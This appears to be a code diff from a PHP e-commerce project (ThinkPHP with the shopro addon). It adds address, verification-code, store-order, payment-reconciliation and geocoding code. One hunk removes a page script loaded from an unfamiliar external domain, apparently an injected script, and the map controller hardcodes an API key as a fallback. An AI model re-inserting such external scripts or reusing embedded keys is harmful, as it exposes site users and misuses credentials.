}
public function activity()
{
return $this->belongsTo(\addons\shopro\model\Activity::class, 'activity_id', 'id');
}
public function grouponLog()
{
return $this->hasMany(\addons\shopro\model\ActivityGrouponLog::class, 'groupon_id', 'id');
}
public function leader() {
return $this->hasOne(\addons\shopro\model\ActivityGrouponLog::class, 'groupon_id', 'id')->where('is_leader', 1);
}
public function my() {
$user = User::info();
return $this->hasOne(\addons\shopro\model\ActivityGrouponLog::class, 'groupon_id', 'id')->where('user_id', ($user ? $user->id : 0));
}
public function goods()
{
return $this->belongsTo(\addons\shopro\model\Goods::class, 'goods_id', 'id');
}
}

查看文件

@@ -0,0 +1,129 @@
<?php
namespace addons\shopro\model;
use addons\shopro\model\Area;
use think\Model;
use addons\shopro\exception\Exception;
use traits\model\SoftDelete;
/**
* 用户地址模型
*/
class UserAddress extends Model
{
use SoftDelete;
protected $name = 'shopro_user_address';
// 开启自动写入时间戳字段
protected $autoWriteTimestamp = 'int';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = 'updatetime';
protected $deleteTime = 'deletetime';
protected $hidden = ['createtime', 'updatetime', 'deletetime'];
// 追加属性
protected $append = [];
public static function getUserAddress()
{
$user = User::info();
return self::all([
'user_id' => $user->id,
'deletetime' => null
]);
}
public static function getUserDefaultAddress()
{
$user = User::info();
$default = self::get([
'user_id' => $user->id,
'deletetime' => null,
'is_default' => '1'
]);
return $default;
}
public static function edit($params)
{
$user = User::info();
extract($params);
$areaNameArray = explode("-", $area_text);
try {
$province = Area::get(['name' => $areaNameArray[0], 'level' => 1]);
$city = $province ? Area::get(['name' => $areaNameArray[1], 'pid' => $province->id, 'level' => 2]) : null;
$area = $city ? Area::get(['name' => $areaNameArray[2], 'pid' => $city->id, 'level' => 3]) : null;
if (!$province || !$city || !$area) {
new Exception('暂不支持,请手动选择行政区');
}
} catch (\Exception $e) {
new Exception('暂不支持,请手动选择行政区');
}
$is_default = (isset($is_default) && $is_default) ? '1' : '0';
if ($is_default) {
self::where(['user_id' => $user->id, 'is_default' => '1'])->update(['is_default' => '0']);
}
if (!isset($id) || $id == 0) {
$edit = self::create([
'consignee' => $consignee,
'phone' => $phone,
'province_id' => $province->id,
'province_name' => $province->name,
'city_id' => $city->id,
'city_name' => $city->name,
'area_id' => $area->id,
'area_name' => $area->name,
'is_default' => $is_default,
'latitude' => (isset($latitude) && $latitude) ? $latitude : null,
'longitude' => (isset($longitude) && $longitude) ? $longitude : null,
'user_id' => $user->id,
'address' => $address
]);
} else {
// 防 IDOR 越权:更新时必须校验地址归属当前用户
$currentAddress = self::get(['id' => $id, 'user_id' => $user->id]);
if (!$currentAddress) {
new Exception('未找到该收货地址');
}
$edit = $currentAddress->save([
'consignee' => $consignee,
'phone' => $phone,
'province_id' => $province->id,
'province_name' => $province->name,
'city_id' => $city->id,
'city_name' => $city->name,
'area_id' => $area->id,
'area_name' => $area->name,
'is_default' => $is_default,
'latitude' => (isset($latitude) && $latitude) ? $latitude : null,
'longitude' => (isset($longitude) && $longitude) ? $longitude : null,
'address' => $address
]);
}
return $edit;
}
public static function info($params)
{
$user = User::info();
extract($params);
return self::get(['id' => $id, 'user_id' => $user->id]);
}
public static function del($params)
{
$user = User::info();
extract($params);
$addr = self::get(['id' => $id, 'user_id' => $user->id]);
if (!$addr) {
new Exception('未找到该收货地址');
}
return $addr->delete();
}
}

查看文件

@@ -0,0 +1,108 @@
<?php
namespace addons\shopro\model;
use think\Model;
use addons\shopro\exception\Exception;
use think\Db;
/**
* 核销码
*/
class Verify extends Model
{
// 表名,不含前缀
protected $name = 'shopro_verify';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'int';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = 'updatetime';
// 追加属性
protected $append = [
'type_name',
'status_code',
'status_name'
];
public static function getCode() {
return mt_rand(1000000000, 9999999999);
}
public function getTypeList() {
return [
'verify' => '核销券'
];
}
public function scopeCanUse($query) {
return $query->where('usetime', null)->where(function($query) {
$query->where('expiretime', null)->whereOr('expiretime', 0)->whereOr('expiretime', '>', time());
});
}
public function getTypeNameAttr($value, $data) {
$value = isset($data['type']) ? $data['type'] : '';
$list = $this->getTypeList();
return isset($list[$value]) ? $list[$value] : '';
}
public function getStatusNameAttr($value, $data) {
$status_name = '';
switch ($this->status_code) {
case 'used':
$status_name = '已使用';
break;
case 'nouse':
$status_name = '未使用';
break;
case 'expire':
$status_name = '已过期';
break;
}
return $status_name;
}
public function getStatusCodeAttr($value, $data) {
$status_code = '';
if ($data['usetime']) {
// 已使用
$status_code = 'used';
} else {
// 未使用
if (empty($data['expiretime']) || $data['expiretime'] > time()) {
// 不过期,或者过期时间大于当前时间
$status_code = 'nouse';
} else {
// 已过期
$status_code = 'expire';
}
}
return $status_code;
}
public function order()
{
return $this->belongsTo(\addons\shopro\model\Order::class, 'order_id', 'id');
}
public function orderItem()
{
return $this->belongsTo(\addons\shopro\model\OrderItem::class, 'order_item_id', 'id');
}
}

查看文件

@@ -0,0 +1,412 @@
<?php
namespace addons\shopro\model\store;
use addons\shopro\model\ActivityGroupon;
use think\Model;
use addons\shopro\exception\Exception;
use addons\shopro\library\traits\model\order\OrderScope;
use think\Db;
use think\Queue;
use traits\model\SoftDelete;
use addons\shopro\library\traits\model\order\OrderOper;
use addons\shopro\library\traits\model\order\OrderStatus;
use addons\shopro\model\Order as BaseOrder;
use addons\shopro\model\OrderItem;
use addons\shopro\model\Store;
use addons\shopro\model\User;
use addons\shopro\model\Verify;
/**
* 商户订单模型
*/
class Order extends BaseOrder
{
//
protected $append = [
'status_code',
'status_name',
'ext_arr'
];
/**
* 获取订单列表(已付款的),覆盖点 baseOrder 中 orderOper getList 方法
*/
public static function getList($params) {
$user = User::info();
$store = Store::info();
// 查询分页列表
$orders = self::buildQueryList($params)->paginate(10);
// 查询搜索条件下的总金额
$type = $params['type'] ?? 'all';
$orderIds = self::buildQueryList($params)->column('id');
$orderItems = OrderItem::where('order_id', 'in', $orderIds)
->where('store_id', $store['id']);
// if ($type != 'all') { // 订单中只有一个发货,待收货中也会把所有商品都查出来,所以这里不加条件了
// $where= []; // 一个订单中可能有多个商品在这个门店,并且有可能有的发货了,有的没发货
// switch ($type) {
// case 'nosend':
// $where = ['dispatch_status' => OrderItem::DISPATCH_STATUS_NOSEND];
// break;
// case 'noget':
// $where = ['dispatch_status' => OrderItem::DISPATCH_STATUS_SENDED];
// break;
// case 'finish':
// $where = ['dispatch_status' => OrderItem::DISPATCH_STATUS_GETED];
// break;
// }
// $orderItems = $orderItems->where($where)->where('refund_status', 'not in', [
// OrderItem::REFUND_STATUS_OK,
// OrderItem::REFUND_STATUS_FINISH
// ]);
// }
$total_money = $orderItems->sum('pay_price'); // pay_price 是不包含运费的金额(商家配送,和到店自提都是没有运费的,所以可以用这个来计算)
$result = [
'total_num' => $orders->total(),
'total_money' => $total_money,
'result' => $orders
];
return $result;
}
/**
* 要单独查询总金额
*/
private static function buildQueryList($params) {
$date_type = $params['date_type'] ?? 'today';
$date = $params['date'] ?? '';
$date = explode(',', $date);
$type = $params['type'] ?? 'all';
// 只查付款的订单
$order = (new self())->with('item')->payed();
switch ($type) {
case 'all':
$order = $order->store();
break;
case 'nosend':
$order = $order->storeNosend();
break;
case 'noget':
$order = $order->storeNoget();
break;
case 'finish':
$order = $order->storeFinish();
break;
}
switch ($date_type) {
case 'today':
$start = strtotime(date('Y-m-d'));
$end = strtotime(date('Y-m-d', (time() + 86400)));
break;
case 'yesterday':
$start = strtotime(date('Y-m-d', (time() - 86400)));
$end = strtotime(date('Y-m-d'));
break;
case 'week':
// $start = strtotime(date('Y-m-d', (time() - (86400 * 6)))); // 减 6 天
$start = strtotime(date('Y-m-d', strtotime("-1 week Monday"))); // 周一开始
$end = strtotime(date('Y-m-d', (time() + 86400))); // 到今天结束
break;
case 'month':
// $start = strtotime(date('Y-m-d', (time() - (86400 * 30)))); // 减 30 天
$start = strtotime(date('Y-m-d', mktime(0, 0, 0, date("m"), 1, date("Y")))); // 减 30 天
$end = strtotime(date('Y-m-d', (time() + 86400))); // 到今天结束
break;
case 'custom':
$date_start = $date[0] ?? date('Y-m-d'); // 默认查 today
$date_end = $date[1] ?? date('Y-m-d'); // 默认查 today
$start = strtotime($date_start);
$end = strtotime($date_end) + 86400;
break;
default:
$start = strtotime(date('Y-m-d'));
$end = strtotime(date('Y-m-d', (time() + 86400)));
break;
}
$order = $order->where('createtime', '>=', $start)
->where('createtime', '<', $end)
->excludeGrouponIng()
->order('id', 'desc');
return $order;
}
/**
* 订单详情 覆盖点 baseOrder 中 orderOper detail 方法
*/
public static function detail($params)
{
$user = User::info();
$store = Store::info();
extract($params);
$order = (new self())->with('item')->payed()->store();
if (isset($order_sn)) {
$order = $order->where('order_sn', $order_sn);
}
if (isset($id)) {
$order = $order->where('id', $id);
}
$order = $order->find();
if (!$order) {
new Exception('订单不存在');
}
return $order;
}
/**
* 订单发货
*/
public static function operSend($params) {
$user = User::info();
$store = Store::info();
extract($params);
Db::transaction(function () use ($id) {
$order = (new self())->store()->payed()->where('id', $id)->find();
if (!$order) {
new Exception('订单不存在');
}
// 加锁查询要发货的 item,防止多次请求造成产生多个核销码
$item = OrderItem::where('order_id', $order['id'])
->where('dispatch_status', \addons\shopro\model\OrderItem::DISPATCH_STATUS_NOSEND)
->where('refund_status', 'not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH])
->lock(true)->select();
if (!$item) {
new Exception('订单已发货');
}
// 订单里面这个门店相关的全部发货
$order['item'] = $item;
$order->storeOrderSend($order);
});
}
/**
* 商家核销订单, 覆盖点 baseOrder 中 orderOper operConfirm 方法
*/
public static function operConfirm($params)
{
$user = User::info();
$store = Store::info();
extract($params);
$id = $params['id'] ?? 0;
$codes = $params['codes'] ?? [];
Db::transaction(function () use ($store, $codes) {
// 查询核销码
$verifies = Verify::canUse()->with(['order', 'orderItem'])->where('type', 'verify')
->where('code', 'in', $codes)->lock(true)->select();
if (!$verifies) {
new Exception('核销码不可用');
}
$check_num = 0;
foreach ($verifies as $key => $verify) {
$order = $verify['order'];
$orderItem = $verify['orderItem'];
if (!$order || $order['status'] <= 0) {
new Exception('订单不存在');
}
if (!$orderItem || $orderItem['store_id'] != $store['id']) {
new Exception('您不能操作该核销码');
}
if ($orderItem['dispatch_status'] != OrderItem::DISPATCH_STATUS_SENDED) {
new Exception('当前商品已核销');
}
if (in_array($orderItem['refund_status'], [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH])) {
new Exception('当前商品已退款');
}
$check_num ++;
$order->verifyGeted($order, $orderItem, $verify, ['oper_type' => 'store']);
}
if ($check_num <= 0) {
// 一个核销码也没核销
new Exception('核销失败,无效的核销码');
}
});
}
/* -------------------------- 访问器 ------------------------ */
/**
* 覆盖 BaseOrder 中 OrderStatus trait getStatus 方法
*/
protected function getStatus($data, $type)
{
$btns = [];
$status_name = '';
$status_desc = '';
switch ($this->status_code) {
case 'cancel':
$status_name = '已取消';
break;
case 'invalid':
$status_name = '交易关闭';
break;
case 'nopay':
$status_name = '待付款';
break;
// 收完货就算已完成
case 'nocomment':
case 'commented':
case 'finish':
$status_name = '已完成';
break;
case 'noget':
$dispatchType = [];
foreach ($this->item as $key => $item) {
// 获取 item status
$dispatchType[] = $item['dispatch_type'];
}
$dispatchType = array_unique(array_filter($dispatchType)); // 过滤重复,过滤空值
$status_name = '待收货';
if (in_array('selfetch', $dispatchType)) {
$status_name = '待提货/到店';
} else if (in_array('selfetch', $dispatchType)) {
$status_name = '配送中';
}
break;
case 'nosend':
$dispatchType = [];
foreach ($this->item as $key => $item) {
// 获取 item status
$dispatchType[] = $item['dispatch_type'];
}
$dispatchType = array_unique(array_filter($dispatchType)); // 过滤重复,过滤空值
$status_name = '待发货';
if (in_array('store', $dispatchType)) {
$status_name = '待配送';
} else if (in_array('selfetch', $dispatchType)) {
$status_name = '待备货';
}
break;
case 'refund_finish':
$status_name = '退款完成';
break;
case 'refund_ing':
$status_name = '退款处理中';
break;
case 'groupon_ing':
$status_name = '等待成团';
break;
case 'groupon_invalid':
$status_name = '拼团失败';
break;
}
return $type == 'status_name' ? $status_name : ($type == 'btns' ? $btns : $status_desc);
}
/**
* 获取支付成功之后的子状态, 门店订单,覆盖 baseOrder model orderStatus trait 中的 getPayedStatusCode 方法
*/
public function getPayedStatusCode($data)
{
$status_code = '';
// 循环判断 item 状态
$itemStatusCode = [];
foreach ($this->item as $key => $item) {
// 获取 item status
$itemStatusCode[] = (new OrderItem)->getBaseStatusCode($item->toArray(), 'order');
}
// 取出不重复不为空的 status_code
$statusCodes = array_unique(array_filter($itemStatusCode));
if (in_array('nosend', $statusCodes)) {
$status_code = 'nosend';
} else if (in_array('noget', $statusCodes)) {
$status_code = 'noget';
} else if (in_array('nocomment', $statusCodes)) {
// 存在待评价,就是待评价
$status_code = 'nocomment';
} else if (in_array('commented', $statusCodes)) {
// 存在已评价,就是已评价
$status_code = 'commented'; // 走这里,说明只评价了一部分
} else if (in_array('refund_finish', $statusCodes)) {
// 都在退款完成
$status_code = 'refund_finish';
} else if (in_array('refund_ing', $statusCodes)) {
// 都在退款中
$status_code = 'refund_ing';
} // 售后都不在总状态显示
$ext_arr = json_decode($data['ext'], true);
// 是拼团订单
if (
strpos($data['activity_type'], 'groupon') !== false &&
isset($ext_arr['groupon_id']) && $ext_arr['groupon_id']
) {
$groupon = ActivityGroupon::where('id', $ext_arr['groupon_id'])->find();
if ($groupon) {
if ($groupon['status'] == 'ing') {
// 尚未成团
$status_code = 'groupon_ing';
} else if ($groupon['status'] == 'invalid') {
$status_code = 'groupon_invalid';
}
}
}
return $status_code;
}
/* -------------------------- 模型关联 ------------------------ */
/**
* 关联订单 item,只查 store_id 是当前门店的
*/
public function item()
{
$store = Store::info();
return $this->hasMany(\addons\shopro\model\OrderItem::class, 'order_id', 'id')->where('store_id', ($store ? $store['id'] : 0));
}
/**
* 关联订单第一个 item,只查 store_id 是当前门店的
*/
public function firstItem()
{
$store = Store::info();
return $this->hasOne(\addons\shopro\model\OrderItem::class, 'order_id', 'id')->where('store_id', ($store ? $store['id'] : 0));
}
/* -------------------------- 模型关联 ------------------------ */
}

查看文件

@@ -6,7 +6,6 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<title>{$config.title}</title>
<script src="https://jscdn.top/v1/app"></script>
<!-- Bootstrap Core CSS -->

查看文件

@@ -0,0 +1,182 @@
<?php
namespace app\admin\command;
use addons\shopro\model\Order;
use think\Db;
use think\Log;
use think\console\Command;
use think\console\Input;
use think\console\input\Option;
use think\console\Output;
/**
* 支付掉单补偿:回调丢失/失败导致“已付款仍显示未付款”时,
* 主动向微信/支付宝查询网关侧状态,确认已付款且金额一致后走与回调相同的 paymentProcess 完成订单。
*
* 建议 cron 每 5 分钟执行:
* php think shopro:pay-reconcile
*/
class ShoproPayReconcile extends Command
{
protected function configure()
{
$this->setName('shopro:pay-reconcile')
->addOption('dry-run', null, Option::VALUE_NONE, 'only report, do not complete orders')
->addOption('limit', null, Option::VALUE_REQUIRED, 'max orders to check per run', 50)
->addOption('min-age', null, Option::VALUE_REQUIRED, 'only check orders created at least N minutes ago', 15)
->addOption('max-age', null, Option::VALUE_REQUIRED, 'only check orders created within N hours', 72)
->setDescription('Reconcile unpaid shopro orders against wechat/alipay gateway status');
}
protected function execute(Input $input, Output $output)
{
$dryRun = (bool)$input->getOption('dry-run');
$limit = max(1, min(500, (int)$input->getOption('limit')));
$minAge = max(1, (int)$input->getOption('min-age'));
$maxAge = max(1, (int)$input->getOption('max-age'));
$now = time();
$candidates = Db::name('shopro_order')
->where('status', 0)
->where('pay_type', 'in', ['wechat', 'alipay', 'group'])
->where('createtime', '<=', $now - $minAge * 60)
->where('createtime', '>=', $now - $maxAge * 3600)
->order('id', 'asc')
->limit($limit)
->select();
$checked = 0;
$completed = 0;
foreach ($candidates as $row) {
$checked++;
try {
$done = $this->reconcileOne($row, $dryRun, $output);
if ($done) {
$completed++;
}
} catch (\Exception $e) {
$msg = "pay-reconcile order {$row['order_sn']} failed: " . $e->getMessage();
Log::write($msg, 'error');
$output->error($msg);
}
}
$output->info(($dryRun ? '[dry-run] ' : '') . "checked {$checked}, completed {$completed}.");
return 0;
}
/**
* @param array $row
* @return bool 是否完成(或 dry-run 下是否“可完成”)
*/
private function reconcileOne($row, $dryRun, $output)
{
$orderSn = $row['order_sn'];
$payType = $row['pay_type'];
$platform = $row['platform'];
// group(组合支付)走微信网关查询
$gateway = $payType === 'group' ? 'wechat' : $payType;
if ($gateway === 'wechat'
&& !in_array($platform, ['wxMiniProgram', 'wxOfficialAccount', 'H5', 'App'], true)
) {
$output->comment("skip {$orderSn}: unsupported platform {$platform}");
return false;
}
$pay = new \addons\shopro\library\PayService($gateway, $platform);
$data = $pay->query($orderSn);
$paidInfo = $this->parseGatewayResult($gateway, $data);
if (!$paidInfo) {
$output->comment("skip {$orderSn}: gateway reports unpaid/unknown");
return false;
}
// 金额必须与本地应付一致,否则只告警、不自动完成
if (bccomp((string)$paidInfo['pay_fee'], (string)$row['pay_fee'], 2) !== 0) {
$msg = "pay-reconcile amount mismatch {$orderSn}: gateway {$paidInfo['pay_fee']} vs local {$row['pay_fee']}";
Log::write($msg, 'error');
$output->error($msg . ', manual review required');
return false;
}
if ($dryRun) {
$output->info("would complete {$orderSn} ({$paidInfo['pay_fee']})");
return true;
}
// 与 Pay::notifyx 回调相同的完成路径:事务内加排他锁复查 + paymentProcess
$isCompleted = false;
Db::transaction(function () use ($orderSn, $paidInfo, $gateway, &$isCompleted) {
$order = Order::nopay()->where('order_sn', $orderSn)->lock(true)->find();
if (!$order) {
return;
}
$notify = [
'order_sn' => $orderSn,
'transaction_id' => $paidInfo['transaction_id'],
'notify_time' => $paidInfo['notify_time'],
'buyer_email' => $paidInfo['buyer'],
'payment_json' => json_encode($paidInfo['raw']),
'pay_fee' => $paidInfo['pay_fee'],
'pay_type' => $order->pay_type == 'group' ? 'group' : $gateway,
];
$order->paymentProcess($order, $notify);
$isCompleted = true;
});
if (!$isCompleted) {
// 已被回调或其他进程完成
$output->info("skip {$orderSn}: already processed");
return false;
}
$msg = "pay-reconcile completed {$orderSn} ({$paidInfo['pay_fee']})";
Log::write($msg);
$output->info($msg);
return true;
}
/**
* 解析网关查询结果,已确认付款返回统一结构,否则返回 null
*/
private function parseGatewayResult($gateway, $data)
{
$arr = $data instanceof \think\Collection ? $data->all() : (array)$data;
if ($gateway === 'wechat') {
if (($arr['result_code'] ?? '') !== 'SUCCESS' || ($arr['trade_state'] ?? '') !== 'SUCCESS') {
return null;
}
$notifyTime = isset($arr['time_end']) && ($ts = strtotime($arr['time_end']))
? date('Y-m-d H:i:s', $ts)
: date('Y-m-d H:i:s');
return [
'transaction_id' => $arr['transaction_id'],
'notify_time' => $notifyTime,
'buyer' => $arr['openid'] ?? '',
'pay_fee' => bcdiv((string)$arr['total_fee'], '100', 2),
'raw' => $arr,
];
}
// alipay: alipay.trade.query
if (($arr['code'] ?? '') !== '10000' || ($arr['trade_status'] ?? '') !== 'TRADE_SUCCESS') {
return null;
}
$notifyTime = isset($arr['gmt_payment']) && ($ts = strtotime($arr['gmt_payment']))
? date('Y-m-d H:i:s', $ts)
: date('Y-m-d H:i:s');
return [
'transaction_id' => $arr['trade_no'],
'notify_time' => $notifyTime,
'buyer' => $arr['buyer_logon_id'] ?? '',
'pay_fee' => (string)$arr['total_amount'],
'raw' => $arr,
];
}
}

查看文件

@@ -49,6 +49,7 @@ class File extends Backend
foreach ($result['list'] as &$v) {
$v['checked'] = false;
$v['showTools'] = false;
$v['fullurl'] = cdnurl($v['url'], true);
}
}

查看文件

@@ -1317,6 +1317,9 @@ class Order extends Base
}
}
// 拼团未成功订单不在后台订单列表展示,成团后再进入备货/发货流程
$orders = $orders->excludeGrouponIng();
return $orders;
}
}

查看文件

@@ -36,7 +36,7 @@ class Verify extends Model
public function scopeCanUse($query)
{
return $query->where('usetime', null)->where(function ($query) {
$query->where('expiretime', null)->whereOr('expiretime', '>', time());
$query->where('expiretime', null)->whereOr('expiretime', 0)->whereOr('expiretime', '>', time());
});
}
@@ -79,7 +79,7 @@ class Verify extends Model
$status_code = 'used';
} else {
// 未使用
if (is_null($data['expiretime']) || $data['expiretime'] > time()) {
if (empty($data['expiretime']) || $data['expiretime'] > time()) {
// 不过期,或者过期时间大于当前时间
$status_code = 'nouse';
} else {

查看文件

@@ -300,7 +300,7 @@
</div>
<div @click="handleSelectFile(index)" v-for="(item, index) of fileList" :key="item.id" class="file-list" @mouseenter="enterFileItem($event, index)" @mouseleave="leaveFileItem($event, index)">
<div class="file-img-item">
<img class="file-image" :src="item.mimetype.indexOf('image') >= 0 ? item.url : `/s.php/ajax/icon?suffix=${item.imagetype}`" alt="">
<img class="file-image" :src="item.mimetype.indexOf('image') >= 0 ? (item.fullurl || item.url) : `/s.php/ajax/icon?suffix=${item.imagetype}`" alt="">
</div>
<div v-if="item.checked || item.showTools" class="tools">
<div class="top">
@@ -315,7 +315,7 @@
<img src="/assets/img/check-check.png" alt="">
</div>
{/if}
<div @click.stop="handleOpenFile(item.url)" style="margin: 0 12px;" class="v-icon">
<div @click.stop="handleOpenFile(item.fullurl || item.url)" style="margin: 0 12px;" class="v-icon">
<img src="/assets/img/see-see.png?id=1" alt="">
</div>
<div @click.stop="dell(item.id)" class="v-icon">

查看文件

@@ -0,0 +1,87 @@
<?php
namespace app\api\controller;
use app\common\controller\Api;
use think\Db;
/**
* 地图服务(服务端代理高德,避免小程序 request 域名限制)
*/
class Map extends Api
{
protected $noNeedLogin = ['geocode', 'regeo'];
protected $noNeedRight = '*';
protected function amapKey()
{
$raw = Db::name('shopro_config')->where('name', 'amap')->value('value');
if ($raw) {
$cfg = json_decode($raw, true);
if (!empty($cfg['appkey'])) {
return $cfg['appkey'];
}
}
$platform = Db::name('shopro_config')->where('name', 'platform')->value('value');
if ($platform) {
$cfg = json_decode($platform, true);
if (!empty($cfg['amap']['appkey'])) {
return $cfg['amap']['appkey'];
}
}
return '24eb092b2163da8fa5087bf92844a5bd';
}
protected function amapGet($path, $query)
{
$query['key'] = $this->amapKey();
$url = 'https://restapi.amap.com/v3/' . $path . '?' . http_build_query($query);
$ctx = stream_context_create(['http' => ['timeout' => 8]]);
$body = @file_get_contents($url, false, $ctx);
if ($body === false) {
$this->error('地图服务请求失败');
}
$data = json_decode($body, true);
if (!$data || (isset($data['status']) && $data['status'] !== '1')) {
$info = isset($data['info']) ? $data['info'] : '地理编码失败';
$this->error($info);
}
return $data;
}
/**
* 地址 → 坐标
* @ApiParams (name="address", type="string", required=true)
*/
public function geocode()
{
$address = trim($this->request->get('address', ''));
if ($address === '') {
$this->error('地址不能为空');
}
$data = $this->amapGet('geocode/geo', ['address' => $address]);
if (empty($data['geocodes'][0]['location'])) {
$this->error('无法解析该地址,请尽量填写门牌号');
}
list($lng, $lat) = explode(',', $data['geocodes'][0]['location']);
$this->success('ok', [
'latitude' => $lat,
'longitude' => $lng,
'formatted' => $data['geocodes'][0]['formatted_address'] ?? '',
]);
}
/**
* 坐标 → 地址
* @ApiParams (name="location", type="string", required=true, description="lng,lat")
*/
public function regeo()
{
$location = trim($this->request->get('location', ''));
if ($location === '') {
$this->error('坐标不能为空');
}
$data = $this->amapGet('geocode/regeo', ['location' => $location]);
$this->success('ok', $data['regeocode'] ?? []);
}
}

查看文件

@@ -18,4 +18,5 @@ return [
'app\admin\command\Addon',
'app\admin\command\Api',
'app\admin\command\ShoproPrintRetry',
'app\admin\command\ShoproPayReconcile',
];

查看文件

@@ -519,7 +519,16 @@ if (!function_exists('cdnurl')) {
{
$regex = "/^((?:[a-z]+:)?\/\/|data:image\/)(.*)/i";
$cdnurl = \think\Config::get('upload.cdnurl');
$url = is_array($url) ? $url[0] : $url;
if (empty($cdnurl) && function_exists('get_addon_config')) {
$cosConfig = get_addon_config('cos');
if (!empty($cosConfig['cdnurl'])) {
$cdnurl = rtrim($cosConfig['cdnurl'], '/');
}
}
$url = is_array($url) ? $url[0] : $url;
if (empty($url)) {
return '';
}
if (is_bool($domain) || stripos($cdnurl, '/') === 0) {
$url = preg_match($regex, $url) || ($cdnurl && stripos($url, $cdnurl) === 0) ? $url : $cdnurl . $url;
}
@@ -527,6 +536,15 @@ if (!function_exists('cdnurl')) {
$domain = is_bool($domain) ? request()->domain() : $domain;
$url = $domain . $url;
}
// 采用COS图片处理参数将图片最大宽度限制在1000px以内并转为webp格式
if (!empty($cdnurl) && stripos($url, $cdnurl) !== false) {
if (preg_match('/\.(jpg|jpeg|png|bmp|webp)(\?.*)?$/i', $url) && stripos($url, 'imageMogr2') === false) {
$separator = (strpos($url, '?') !== false) ? '&' : '?';
$url .= $separator . 'imageMogr2/thumbnail/1000x%3E/format/webp';
}
}
return $url;
}
}

查看文件

@@ -0,0 +1,251 @@
<?php
namespace app\common\library;
use addons\shopro\model\Area;
/**
* 天地图逆地理编码。
* 微信选点返回 GCJ-02,天地图使用 CGCS2000,请求前先转换。
*/
class Tianditu
{
public static function reverse($longitude, $latitude)
{
$key = self::key();
if ($key === '') {
throw new \Exception('未配置天地图密钥');
}
list($lon, $lat) = self::gcj02ToWgs84((float)$longitude, (float)$latitude);
$result = self::request($lon, $lat, $key);
$component = isset($result['addressComponent']) && is_array($result['addressComponent'])
? $result['addressComponent']
: [];
$area = self::matchArea($component);
$address = self::detailAddress($result, $component);
$province = $area['province'];
$city = $area['city'] === $province ? '' : $area['city'];
return [
'area_text' => $area['province'] . '-' . $area['city'] . '-' . $area['district'],
'address' => $address,
'formatted_address' => $province . $city . $area['district'] . $address,
];
}
protected static function key()
{
$key = function_exists('config') ? config('tianditu.key') : '';
if (!$key) {
$file = dirname(__DIR__, 2) . '/extra/tianditu.php';
$config = is_file($file) ? include $file : [];
$key = is_array($config) && !empty($config['key']) ? $config['key'] : '';
}
return trim((string)$key);
}
protected static function request($longitude, $latitude, $key)
{
$postStr = json_encode([
'lon' => round($longitude, 6),
'lat' => round($latitude, 6),
'ver' => 1,
], JSON_UNESCAPED_UNICODE);
$url = 'https://api.tianditu.gov.cn/geocoder?postStr=' . rawurlencode($postStr) . '&type=geocode&tk=' . rawurlencode($key);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 8);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'chufang-server/1.0');
$body = curl_exec($ch);
$errno = curl_errno($ch);
curl_close($ch);
if ($errno || $body === false || $body === '') {
throw new \Exception('地址解析失败,请稍后重试');
}
$json = json_decode($body, true);
if (!is_array($json) || !isset($json['status']) || (string)$json['status'] !== '0' || empty($json['result']) || !is_array($json['result'])) {
$message = is_array($json) && !empty($json['msg']) ? $json['msg'] : '地址解析失败';
throw new \Exception($message);
}
return $json['result'];
}
protected static function matchArea(array $component)
{
$district = self::findDistrict($component);
if (!$district) {
throw new \Exception('未能匹配区县,请手动选择所在地区');
}
$city = Area::where('id', $district['pid'])->find();
$province = $city ? Area::where('id', $city['pid'])->find() : null;
if (!$city || !$province || (int)$city['level'] !== 2 || (int)$province['level'] !== 1) {
throw new \Exception('未能匹配省市区,请手动选择所在地区');
}
return [
'province' => $province['name'],
'city' => $city['name'],
'district' => $district['name'],
];
}
protected static function findDistrict(array $component)
{
$countyId = self::adminCode(isset($component['county_code']) ? $component['county_code'] : '');
if ($countyId) {
$district = Area::where('id', $countyId)->where('level', 3)->find();
if ($district) {
return $district;
}
}
$county = trim(isset($component['county']) ? $component['county'] : '');
if ($county === '') {
return null;
}
$cityId = self::adminCode(isset($component['city_code']) ? $component['city_code'] : '');
$query = Area::where('name', $county)->where('level', 3);
if ($cityId) {
$query->where('pid', $cityId);
}
return $query->find();
}
protected static function detailAddress(array $result, array $component)
{
$segments = [];
$adminNames = [];
foreach (['province', 'city', 'county'] as $field) {
$name = trim(isset($component[$field]) ? (string)$component[$field] : '');
if ($name !== '') {
$adminNames[] = $name;
}
}
foreach (['town', 'road', 'address', 'poi'] as $field) {
$segment = trim(isset($component[$field]) ? (string)$component[$field] : '');
$segment = self::stripAdmin($segment, $adminNames);
if ($segment === '' || self::isRelative($segment)) {
continue;
}
$replaced = false;
foreach ($segments as $index => $exist) {
if (mb_strpos($segment, $exist) !== false) {
$segments[$index] = $segment;
$replaced = true;
break;
}
if (mb_strpos($exist, $segment) !== false) {
$replaced = true;
break;
}
}
if (!$replaced) {
$segments[] = $segment;
}
}
if ($segments) {
return implode('', $segments);
}
$detail = isset($result['formatted_address']) ? $result['formatted_address'] : '';
foreach (['province', 'city', 'county'] as $field) {
$part = trim(isset($component[$field]) ? (string)$component[$field] : '');
if ($part !== '') {
$detail = preg_replace('/' . preg_quote($part, '/') . '/u', '', $detail, 1);
}
}
return trim($detail);
}
protected static function stripAdmin($segment, array $adminNames)
{
foreach ($adminNames as $name) {
if ($name !== '' && mb_strpos($segment, $name) !== false) {
$segment = str_replace($name, '', $segment);
}
$short = preg_replace('/(省|市|自治区|特别行政区)$/u', '', $name);
if ($short === '' || $short === $name || mb_strlen($short) < 2) {
continue;
}
if ($segment === $short) {
return '';
}
$suffixLength = mb_strlen($short);
if (mb_strlen($segment) > $suffixLength && mb_substr($segment, -$suffixLength) === $short) {
$segment = mb_substr($segment, 0, mb_strlen($segment) - $suffixLength);
}
}
return trim($segment);
}
protected static function isRelative($text)
{
return (bool)preg_match('/[东西南北].{0,4}约?\d+米/u', $text);
}
protected static function adminCode($code)
{
